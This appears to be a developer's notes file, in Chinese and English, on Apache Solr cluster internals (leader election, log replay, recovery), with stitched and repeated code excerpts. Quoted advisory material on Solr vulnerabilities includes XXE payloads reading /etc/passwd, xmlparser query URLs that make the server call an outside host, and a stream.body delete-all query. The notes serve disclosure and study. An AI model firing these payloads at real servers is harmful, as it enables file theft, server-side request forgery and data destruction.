https://blog.csdn.net/u011426341/article/details/78940170
//
public String register(String coreName, final CoreDescriptor desc, boolean recoverReloadedCores, boolean afterExpiration) throws Exception {
try (SolrCore core = cc.getCore(desc.getName())) {
MDCLoggingContext.setCore(core);
}
try {
......
......
try {
// If we're a preferred leader, insert ourselves at the head of the queue
boolean joinAtHead = false;
Replica replica = zkStateReader.getClusterState().getReplica(desc.getCloudDescriptor().getCollectionName(),
coreZkNodeName);
if (replica != null) {
joinAtHead = replica.getBool(SliceMutator.PREFERRED_LEADER_PROP, false);
}
joinElection(desc, afterExpiration, joinAtHead); // 先进行leader选举
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new ZooKeeperException(SolrException.ErrorCode.SERVER_ERROR, "", e);
} catch (KeeperException | IOException e) {
throw new ZooKeeperException(SolrException.ErrorCode.SERVER_ERROR, "", e);
}
String leaderUrl = getLeader(cloudDesc, leaderVoteWait + 600000);
String ourUrl = ZkCoreNodeProps.getCoreUrl(baseUrl, coreName);
log.info("We are " + ourUrl + " and leader is " + leaderUrl);
boolean isLeader = leaderUrl.equals(ourUrl);
try (SolrCore core = cc.getCore(desc.getName())) {
UpdateLog ulog = core.getUpdateHandler().getUpdateLog();
if (!afterExpiration && !core.isReloaded() && ulog != null) {
Slice slice = getClusterState().getSlice(collection, shardId);
if (slice.getState() != Slice.State.CONSTRUCTION || !isLeader) {
Future<UpdateLog.RecoveryInfo> recoveryFuture = core.getUpdateHandler().getUpdateLog().recoverFromLog(); // OK,此处就是一个replay操作的调用
// 因为在节点重启之前可能有未commit的数据,所以此处需要判断tlog是否有结束符,如果没有回进行一次数据回放。
if (recoveryFuture != null) {
log.info("Replaying tlog for " + ourUrl + " during startup... NOTE: This can take a while.");
recoveryFuture.get(); // NOTE: this could potentially block for
recoverFromLog
} else {
log.info("No LogReplay needed for core=" + core.getName() + " baseURL=" + baseUrl);
}
}
}
// 此处是一个标准的恢复流程,会先进性判断是否需要peerSync,如果需要回复的数据量超过100个doc,就直接进行replicate进行index文件的拷贝。
boolean didRecovery = checkRecovery(coreName, desc, recoverReloadedCores, isLeader, cloudDesc, collection,
coreZkNodeName, shardId, leaderProps, core, cc, afterExpiration);
if (!didRecovery) {
publish(desc, Replica.State.ACTIVE); // 如果不需要进行recovery,此处就可以将core置为active的状态,启动成功。
}
core.getCoreDescriptor().getCloudDescriptor().setHasRegistered(true);
}
// make sure we have an update cluster state right away
zkStateReader.forceUpdateCollection(collection);
return shardId;
} finally {
MDCLoggingContext.clear();
}
}
https://blog.csdn.net/u011426341/article/details/78939812
关于选举功能就是,每个overseer在zookeeper中进行一次注册,生成一个序列号,哪个overseer的序列号最小,就是leader。这个节点挂了之后,再进行一次选举。
Testing
https://github.com/randomizedtesting/randomizedtesting/wiki/Core-Concepts
ZkController zoo = req.getCore().getCoreDescriptor().getCoreContainer().getZkController(); Set<String> nodes = zoo.getClusterState().getLiveNodes();
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
There are a few different types of entities, external general/parameter parsed entity often shortened to external entity, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.
* SOLR-11477: Disallow resolving of external entities in queryparser/xml/CoreParser by default.
https://issues.apache.org/jira/browse/SOLR-11477
https://issues.apache.org/jira/secure/attachment/12892047/SOLR-11477.patch
public static final EntityResolver DISALLOW_EXTERNAL_ENTITY_RESOLVER = (String publicId, String systemId) -> {
throw new SAXException(String.format(Locale.ENGLISH,
"External Entity resolving unsupported: publicId=\"%s\" systemId=\"%s\"",
publicId, systemId));
};
private Document parseXML(InputStream pXmlFile) throws ParserException {
final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(false);
try {
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
// ignore since all implementations are required to support the
// {@link javax.xml.XMLConstants#FEATURE_SECURE_PROCESSING} feature
}
final DocumentBuilder db;
try {
db = dbf.newDocumentBuilder();
} catch (Exception se) {
throw new ParserException("XML Parser configuration error.", se);
}
try {
db.setEntityResolver(getEntityResolver());
db.setErrorHandler(getErrorHandler());
return db.parse(pXmlFile);
} catch (Exception se) {
throw new ParserException("Error parsing XML stream: " + se, se);
}
}
https://issues.apache.org/jira/browse/SOLR-11482
throw new SolrException(ErrorCode.UNAUTHORIZED, WARNING_MESSAGE);
https://issues.apache.org/jira/browse/SOLR-10748
https://issues.apache.org/jira/browse/SOLR-9623
https://lucene.apache.org/solr/guide/6_6/content-streams.html#ContentStreams-RemoteStreaming
https://stackoverflow.com/questions/16857923/remote-streaming-with-solr
http://www.apache.org/dyn/closer.lua/lucene/solr/6.6.2
http://mail-archives.apache.org/mod_mbox/lucene-dev/201710.mbox/%3CCAJEmKoC%2BeQdP-E6BKBVDaR_43fRs1A-hOLO3JYuemmUcr1R%2BTA%40mail.gmail.com%3E
https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-18263/Apache-Solr.html
https://en.wikipedia.org/wiki/Zero-day_(computing)
恢复的流程主要就是三个,一个replay,一个peersync还有一个replicate。下面结合场景,从源码角度分析三个数据恢复场景的流程。
ZkController.register()
下面就是关键的流程,先进行节点的选举,然后开始恢复流程,其实这个恢复流程已经涵盖了上面所提到的三个场景。
recoverFromLog
主要还是调用LogReplay来进行数据的回放。
LogReplayer
tlog中数据的回放,可能也包含了待删除的数据。
public void doReplay(TransactionLog translog) {
https://blog.csdn.net/u011426341/article/details/78939812
关于选举功能就是,每个overseer在zookeeper中进行一次注册,生成一个序列号,哪个overseer的序列号最小,就是leader。这个节点挂了之后,再进行一次选举。
OverseerElectionContext.runLeaderProcess会调用OverSeer线程监听分布式队列workQueue的请求。
core API的分发
比如说CREATE请求,下面的逻辑就是向所有节点发送http请求,这个请求就是core级别的,接收方就会创建对应的core。
Collection API的下发
上面介绍的流程是API请求已经写入分布式队列,然后OverSeer去处理,那么分布式队列是怎么写入请求的呢?还是以CREATE请求为例。
创建请求由CollectionsHandler接收,老套路,执行的方法名称还是叫handleRequestBody。
创建请求由CollectionsHandler接收,老套路,执行的方法名称还是叫handleRequestBody。
handleResponse
在这里就可以看到,创建的请求被添加到一个分布式的Queue中,后端的Overseer就会从queue中取出这个请求,进行分发。
private SolrResponse handleResponse(String operation, ZkNodeProps m,
SolrQueryResponse rsp, long timeout) throws KeeperException, InterruptedException {
long time = System.nanoTime();
if (m.containsKey(ASYNC) && m.get(ASYNC) != null) {
String asyncId = m.getStr(ASYNC);
if(asyncId.equals("-1")) {
throw new SolrException(ErrorCode.BAD_REQUEST, "requestid can not be -1. It is reserved for cleanup purposes.");
}
NamedList<String> r = new NamedList<>();
if (coreContainer.getZkController().getOverseerCompletedMap().contains(asyncId) ||
coreContainer.getZkController().getOverseerFailureMap().contains(asyncId) ||
coreContainer.getZkController().getOverseerRunningMap().contains(asyncId) ||
overseerCollectionQueueContains(asyncId)) {
r.add("error", "Task with the same requestid already exists.");
} else {
coreContainer.getZkController().getOverseerCollectionQueue()
.offer(Utils.toJSON(m));
}
r.add(CoreAdminParams.REQUESTID, (String) m.get(ASYNC));
SolrResponse response = new OverseerSolrResponse(r);
rsp.getValues().addAll(response.getResponse());
return response;
}
QueueEvent event = coreContainer.getZkController()
.getOverseerCollectionQueue()
.offer(Utils.toJSON(m), timeout); // 就是这个地方了offer就是将请求添加到queue中。
if (event.getBytes() != null) {
SolrResponse response = SolrResponse.deserialize(event.getBytes()); // 阻塞式等待返回的结果。不过也设置了超时时间。
rsp.getValues().addAll(response.getResponse());
SimpleOrderedMap exp = (SimpleOrderedMap) response.getResponse().get("exception");
if (exp != null) {
Integer code = (Integer) exp.get("rspCode");
rsp.setException(new SolrException(code != null && code != -1 ? ErrorCode.getErrorCode(code) : ErrorCode.SERVER_ERROR, (String)exp.get("msg")));
}
return response;
} else {
if (System.nanoTime() - time >= TimeUnit.NANOSECONDS.convert(timeout, TimeUnit.MILLISECONDS)) {
throw new SolrException(ErrorCode.SERVER_ERROR, operation
+ " the collection time out:" + timeout / 1000 + "s");
} else if (event.getWatchedEvent() != null) {
throw new SolrException(ErrorCode.SERVER_ERROR, operation
+ " the collection error [Watcher fired on path: "
+ event.getWatchedEvent().getPath() + " state: "
+ event.getWatchedEvent().getState() + " type "
+ event.getWatchedEvent().getType() + "]");
} else {
throw new SolrException(ErrorCode.SERVER_ERROR, operation
+ " the collection unknown case");
}
}
}Testing
https://github.com/randomizedtesting/randomizedtesting/wiki/Core-Concepts
org.apache.solr.update.processor.DistributedUpdateProcessor.doDefensiveChecks(DistribPhase)
CloudDescriptor cloudDescriptor = req.getCore().getCoreDescriptor().getCloudDescriptor();
Slice mySlice = clusterState.getSlice(collection, cloudDescriptor.getShardId());
boolean localIsLeader = cloudDescriptor.isLeader();
ZkController zoo = req.getCore().getCoreDescriptor().getCoreContainer().getZkController(); Set<String> nodes = zoo.getClusterState().getLiveNodes();
core.addCloseHook(new CloseHook() {})
final ZkStateReader zkStateReader = core.getCoreDescriptor().getCoreContainer().getZkController().getZkStateReader();
org.apache.solr.handler.admin.CollectionsHandler
handleRequestBody(SolrQueryRequest, SolrQueryResponse)
Map<String, Object> result = operation.call(req, rsp, this);
enum CollectionOperation
SolrTestCaseJ4
private static MiniSolrCloudCluster solrCluster;
solrCluster = new MiniSolrCloudCluster(4, createTempDir().toFile(), solrXml, buildJettyConfig("/solr"));
solrCluster.uploadConfigDir(configDir, "conf");
MethodHandles.lookup().lookupClass()
Use System.nanoTime()
public Replica getLeaderRetry(String collection, String shard, int timeout) throws InterruptedException {
long timeoutAt = System.nanoTime() + TimeUnit.NANOSECONDS.convert(timeout, TimeUnit.MILLISECONDS);
while (true) {
Replica leader = getLeader(collection, shard);
if (leader != null) return leader;
if (System.nanoTime() >= timeoutAt || closed) break;
Thread.sleep(GET_LEADER_RETRY_INTERVAL_MS);
}
throw new SolrException(ErrorCode.SERVICE_UNAVAILABLE, "No registered leader was found after waiting for "
+ timeout + "ms " + ", collection: " + collection + " slice: " + shard);
}
Replica leaderReplica = zkController.getZkStateReader().getLeaderRetry(
collection, shardId);
isLeader = leaderReplica.getName().equals(
req.getCore().getCoreDescriptor().getCloudDescriptor()
.getCoreNodeName());
long newCommitGeneration = SegmentInfos.getLastCommitGeneration(directory);
boolean commitHappened = newCommitGeneration != lastCommitGeneration;
lastCommitGeneration = newCommitGeneration;
return commitHappened;
final ZkStateReader zkStateReader = core.getCoreDescriptor().getCoreContainer().getZkController().getZkStateReader();
org.apache.solr.handler.admin.CollectionsHandler
handleRequestBody(SolrQueryRequest, SolrQueryResponse)
Map<String, Object> result = operation.call(req, rsp, this);
enum CollectionOperation
SolrTestCaseJ4
private static MiniSolrCloudCluster solrCluster;
solrCluster = new MiniSolrCloudCluster(4, createTempDir().toFile(), solrXml, buildJettyConfig("/solr"));
solrCluster.uploadConfigDir(configDir, "conf");
MethodHandles.lookup().lookupClass()
Use System.nanoTime()
public Replica getLeaderRetry(String collection, String shard, int timeout) throws InterruptedException {
long timeoutAt = System.nanoTime() + TimeUnit.NANOSECONDS.convert(timeout, TimeUnit.MILLISECONDS);
while (true) {
Replica leader = getLeader(collection, shard);
if (leader != null) return leader;
if (System.nanoTime() >= timeoutAt || closed) break;
Thread.sleep(GET_LEADER_RETRY_INTERVAL_MS);
}
throw new SolrException(ErrorCode.SERVICE_UNAVAILABLE, "No registered leader was found after waiting for "
+ timeout + "ms " + ", collection: " + collection + " slice: " + shard);
}
Replica leaderReplica = zkController.getZkStateReader().getLeaderRetry(
collection, shardId);
isLeader = leaderReplica.getName().equals(
req.getCore().getCoreDescriptor().getCloudDescriptor()
.getCoreNodeName());
long newCommitGeneration = SegmentInfos.getLastCommitGeneration(directory);
boolean commitHappened = newCommitGeneration != lastCommitGeneration;
lastCommitGeneration = newCommitGeneration;
return commitHappened;
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser.
There are a few different types of entities, external general/parameter parsed entity often shortened to external entity, that can access local or remote content via a declared system identifier. The system identifier is assumed to be a URI that can be dereferenced (accessed) by the XML processor when processing the entity. The XML processor then replaces occurrences of the named external entity with the contents dereferenced by the system identifier. If the system identifier contains tainted data and the XML processor dereferences this tainted data, the XML processor may disclose confidential information normally not accessible by the application. Similar attack vectors apply the usage of external DTDs, external stylesheets, external schemas, etc. which, when included, allow similar external resource inclusion style attacks.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
* SOLR-11477: Disallow resolving of external entities in queryparser/xml/CoreParser by default.
https://issues.apache.org/jira/browse/SOLR-11477
Lucene includes a query parser that is able to create the full-spectrum of Lucene queries, using an XML data structure. Starting from version 5.1 Solr supports "xml" query parser in the search query.
The problem is that lucene xml parser does not explicitly prohibit doctype declaration and expansion of external entities. It is possible to include special entities in the xml document, that point to external files (via file://) or external urls (via http://):
Example usage:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"><a></a>'}
When Solr is parsing this request, it makes a HTTP request to http://xxx.s.artsploit.com/xxx and treats its content as DOCTYPE definition.
Considering that we can define parser type in the search query, which is very often comes from untrusted user input, e.g. search fields on websites. It allows to an external attacker to make arbitrary HTTP requests to the local SOLR instance and to bypass all firewall restrictions.
For example, this vulnerability could be user to send malicious data to the '/upload' handler:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
This vulnerability can also be exploited as Blind XXE using ftp wrapper in order to read arbitrary local files from the solrserver.
The XmlQParserPlugin extends the QParserPlugin and supports the creation of queries from XML.
The XmlQParser implementation uses the SolrCoreParser class which extends Lucene’s CoreParserclass. XML elements are mapped to QueryBuilder classes as follows:
You can configure your own custom query builders for additional XML elements. The custom builders need to extend the SolrQueryBuilder or the SolrSpanQueryBuilder class. Example solrconfig.xml snippet:
<queryParser name="xmlparser" class="XmlQParserPlugin">
<str name="MyCustomQuery">com.mycompany.solr.search.MyCustomQueryBuilder</str>
</queryParser>
public static final EntityResolver DISALLOW_EXTERNAL_ENTITY_RESOLVER = (String publicId, String systemId) -> {
throw new SAXException(String.format(Locale.ENGLISH,
"External Entity resolving unsupported: publicId=\"%s\" systemId=\"%s\"",
publicId, systemId));
};
private Document parseXML(InputStream pXmlFile) throws ParserException {
final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(false);
try {
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
// ignore since all implementations are required to support the
// {@link javax.xml.XMLConstants#FEATURE_SECURE_PROCESSING} feature
}
final DocumentBuilder db;
try {
db = dbf.newDocumentBuilder();
} catch (Exception se) {
throw new ParserException("XML Parser configuration error.", se);
}
try {
db.setEntityResolver(getEntityResolver());
db.setErrorHandler(getErrorHandler());
return db.parse(pXmlFile);
} catch (Exception se) {
throw new ParserException("Error parsing XML stream: " + se, se);
}
}
https://issues.apache.org/jira/browse/SOLR-11482
RunExecutableListener
proc = Runtime.getRuntime().exec(cmd, envp ,dir);
* SOLR-11482: RunExecutableListener was deprecated and is disabled by default for security reasons. Legacy applications still using it must explicitely pass '-Dsolr.enableRunExecutableListener=true' to the Solr command line. Be aware that you should really disable API-based config editing at the same time, using '-Ddisable.configEdit=true'!https://issues.apache.org/jira/browse/SOLR-10748
Today you can issue a HTTP request parameter stream.body which will by Solr be interpreted as body content on the request, i.e. act as a POST request. This is useful for development and testing but can pose a security risk in production since users/clients with permission to to GET on various endpoints also can post by using stream.body. The classic example is &stream.body=<delete><query>:</query></delete>. And this feature cannot be turned off by configuration, it is not controlled by enableRemoteStreaming.
This jira will add a configuration option requestDispatcher.requestParsers.enableStreamBody to the <requestParsers> tag in solrconfig as well as to the Config API. I propose to set the default value to *false*.
Apart from security concerns, this also aligns well with our v2 API effort which tries to stick to the principle of least surprice in that GET requests shall not be able to modify state. Developers should known how to do a POST today
https://issues.apache.org/jira/browse/SOLR-9623
https://lucene.apache.org/solr/guide/6_6/content-streams.html#ContentStreams-RemoteStreaming
If you
enableRemoteStreaming="true" is used, be aware that this allows anyone to send a request to any URL or local file. If DumpRequestHandler is enabled, it will allow anyone to view any file on your system. |
http://www.apache.org/dyn/closer.lua/lucene/solr/6.6.2
http://mail-archives.apache.org/mod_mbox/lucene-dev/201710.mbox/%3CCAJEmKoC%2BeQdP-E6BKBVDaR_43fRs1A-hOLO3JYuemmUcr1R%2BTA%40mail.gmail.com%3E
> In all three requests Solr responds with different errors, but all of > these error are happened after desired actions are executed. > > All these vulnerabilities were tested on the latest version of Apache Solr > with the default cloud config (bin/solr start -e cloud -noprompt)
Common Vulnerabilities and Exposures (CVE)
https://en.wikipedia.org/wiki/Zero-day_(computing)